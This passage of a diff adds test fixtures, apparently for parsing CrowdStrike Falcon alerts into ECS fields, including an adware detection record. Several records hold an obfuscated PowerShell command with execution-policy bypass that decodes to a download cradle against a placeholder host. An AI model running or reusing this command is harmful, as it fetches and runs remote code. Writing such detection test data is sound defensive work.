%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}",
+                "severity": 21,
+                "type": [
+                    "start"
+                ]
+            },
+            "file": {
+                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe"
+            },
+            "host": {
+                "domain": "ABC.LOCAL",
+                "hostname": "ABC709-1175",
+                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "mac": [
+                    "AB-21-48-61-05-B2"
+                ],
+                "os": {
+                    "full": "Windows11",
+                    "platform": "Windows",
+                    "type": "windows"
+                }
+            },
+            "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+            "process": {
+                "end": "2023-11-03T18:00:21.000Z",
+                "entity_id": "399748687993",
+                "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "hash": {
+                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+                },
+                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "parent": {
+                    "command_line": "C:\\WINDOWS\\Explorer.EXE",
+                    "entity_id": "392736520876",
+                    "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+                    "hash": {
+                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4"
+                    },
+                    "name": "explorer.exe",
+                    "pid": 392736520876
+                },
+                "pid": 399748687993,
+                "start": "2023-11-03T18:00:13.000Z",
+                "user": {
+                    "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "name": "mohit.jha"
+                }
+            },
+            "related": {
+                "hash": [
+                    "b07f77fd3f9828b2c9d61f8a36609741",
+                    "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                    "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "8cc3fcdd7d52d2d5221303c213e044ae",
+                    "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                    "0000000000000000000000000000000000000000"
+                ],
+                "hosts": [
+                    "ABC.LOCAL",
+                    "ABC709-1175"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "user": [
+                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "yuvraj.mahajan",
+                    "mohit.jha"
+                ]
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "id": [
+                        "CSTA0004"
+                    ],
+                    "name": [
+                        "MachineLearning"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "CST0000"
+                    ],
+                    "name": [
+                        "Adware/PUP"
+                    ]
+                }
+            },
+            "user": {
+                "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "name": "mohit.jha"
+            }
+        },
+        {
+            "@timestamp": "2024-11-07T20:47:22.000Z",
+            "crowdstrike": {
+                "alert": {
+                    "agent_id": "abcd1234abcd1234abcd12",
+                    "cid": "asdfasdfsadfasdfasdf",
+                    "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
+                    "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                    "crawled_timestamp": "2024-11-07T20:49:59.123Z",
+                    "created_timestamp": "2024-11-07T20:49:59.123Z",
+                    "detect_type": "endpoint",
+                    "host_name": "SOMEHOST",
+                    "host_type": "Server",
+                    "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                    "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
+                    "operating_system": "Windows",
+                    "pattern_id": "97000",
+                    "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==",
+                    "process_id": "123456789123",
+                    "product": "overwatch",
+                    "seconds_to_resolved": 0,
+                    "seconds_to_triaged": 0,
+                    "show_in_ui": true,
+                    "status": "new",
+                    "tags": [
+                        "ow/investigated",
+                        "ow/resolution/benign"
+                    ],
+                    "timestamp": "2024-11-07T20:47:22.000Z",
+                    "tree_id": "12345678901",
+                    "type": "lead",
+                    "updated_timestamp": "2024-11-07T20:49:59.123Z"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "process"
+                ],
+                "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                "kind": "alert",
+                "original": "{\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"host_name\":\"SOMEHOST\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}"
+            },
+            "file": {
+                "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
+            },
+            "host": {
+                "id": "abcd1234abcd1234abcd12",
+                "name": "SOMEHOST",
+                "os": {
+                    "name": "Windows",
+                    "type": "windows"
+                },
+                "type": "Server"
+            },
+            "process": {
+                "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
+                "entity_id": "123456789123",
+                "pid": 123456789123
+            },
+            "related": {
+                "hosts": [
+                    "SOMEHOST"
+                ]
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields",
+                "ow/investigated",
+                "ow/resolution/benign"
+            ]
+        },
+        {
+            "@timestamp": "2024-11-07T20:47:22.000Z",
+            "crowdstrike": {
+                "alert": {
+                    "agent_id": "abcd1234abcd1234abcd12",
+                    "cid": "asdfasdfsadfasdfasdf",
+                    "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
+                    "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                    "crawled_timestamp": "2024-11-07T20:49:59.123Z",
+                    "created_timestamp": "2024-11-07T20:49:59.123Z",
+                    "detect_type": "endpoint",
+                    "host_name": "SOMEHOST",
+                    "host_type": "Server",
+                    "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                    "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
+                    "name": "OTHERUSER on OTHERHOST",
+                    "operating_system": "Windows",
+                    "pattern_id": "97000",
+                    "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==",
+                    "process_id": "123456789123",
+                    "product": "overwatch",
+                    "seconds_to_resolved": 0,
+                    "seconds_to_triaged": 0,
+                    "show_in_ui": true,
+                    "status": "new",
+                    "tags": [
+                        "ow/investigated",
+                        "ow/resolution/benign"
+                    ],
+                    "timestamp": "2024-11-07T20:47:22.000Z",
+                    "tree_id": "12345678901",
+                    "type": "lead",
+                    "updated_timestamp": "2024-11-07T20:49:59.123Z"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "process"
+                ],
+                "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                "kind": "alert",
+                "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"host_name\":\"SOMEHOST\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}"
+            },
+            "file": {
+                "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
+            },
+            "host": {
+                "id": "abcd1234abcd1234abcd12",
+                "name": "SOMEHOST",
+                "os": {
+                    "name": "Windows",
+                    "type": "windows"
+                },
+                "type": "Server"
+            },
+            "process": {
+                "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
+                "entity_id": "123456789123",
+                "pid": 123456789123
+            },
+            "related": {
+                "hosts": [
+                    "SOMEHOST",
+                    "OTHERHOST"
+                ],
+                "user": [
+                    "OTHERUSER"
+                ]
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields",
+                "ow/investigated",
+                "ow/resolution/benign"
+            ],
+            "user": {
+                "name": "OTHERUSER"
+            }
+        },
+        {
+            "@timestamp": "2024-11-07T20:47:22.000Z",
+            "crowdstrike": {
+                "alert": {
+                    "agent_id": "abcd1234abcd1234abcd12",
+                    "cid": "asdfasdfsadfasdfasdf",
+                    "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
+                    "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                    "crawled_timestamp": "2024-11-07T20:49:59.123Z",
+                    "created_timestamp": "2024-11-07T20:49:59.123Z",
+                    "detect_type": "endpoint",
+                    "host_type": "Server",
+                    "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                    "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
+                    "name": "OTHERUSER on OTHERHOST",
+                    "operating_system": "Windows",
+                    "pattern_id": "97000",
+                    "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==",
+                    "process_id": "123456789123",
+                    "product": "overwatch",
+                    "seconds_to_resolved": 0,
+                    "seconds_to_triaged": 0,
+                    "show_in_ui": true,
+                    "status": "new",
+                    "tags": [
+                        "ow/investigated",
+                        "ow/resolution/benign"
+                    ],
+                    "timestamp": "2024-11-07T20:47:22.000Z",
+                    "tree_id": "12345678901",
+                    "type": "lead",
+                    "updated_timestamp": "2024-11-07T20:49:59.123Z",
+                    "user_name": "SOMEUSER"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "process"
+                ],
+                "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                "kind": "alert",
+                "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"user_name\":\"SOMEUSER\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}"
+            },
+            "file": {
+                "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
+            },
+            "host": {
+                "id": "abcd1234abcd1234abcd12",
+                "name": "OTHERHOST",
+                "os": {
+                    "name": "Windows",
+                    "type": "windows"
+                },
+                "type": "Server"
+            },
+            "process": {
+                "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
+                "entity_id": "123456789123",
+                "pid": 123456789123
+            },
+            "related": {
+                "hosts": [
+                    "OTHERHOST"
+                ],
+                "user": [
+                    "SOMEUSER",
+                    "OTHERUSER"
+                ]
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields",
+                "ow/investigated",
+                "ow/resolution/benign"
+            ],
+            "user": {
+                "name": "SOMEUSER"
+            }
+        },
+        {
+            "@timestamp": "2024-11-07T20:47:22.000Z",
+            "crowdstrike": {
+                "alert": {
+                    "agent_id": "abcd1234abcd1234abcd12",
+                    "cid": "asdfasdfsadfasdfasdf",
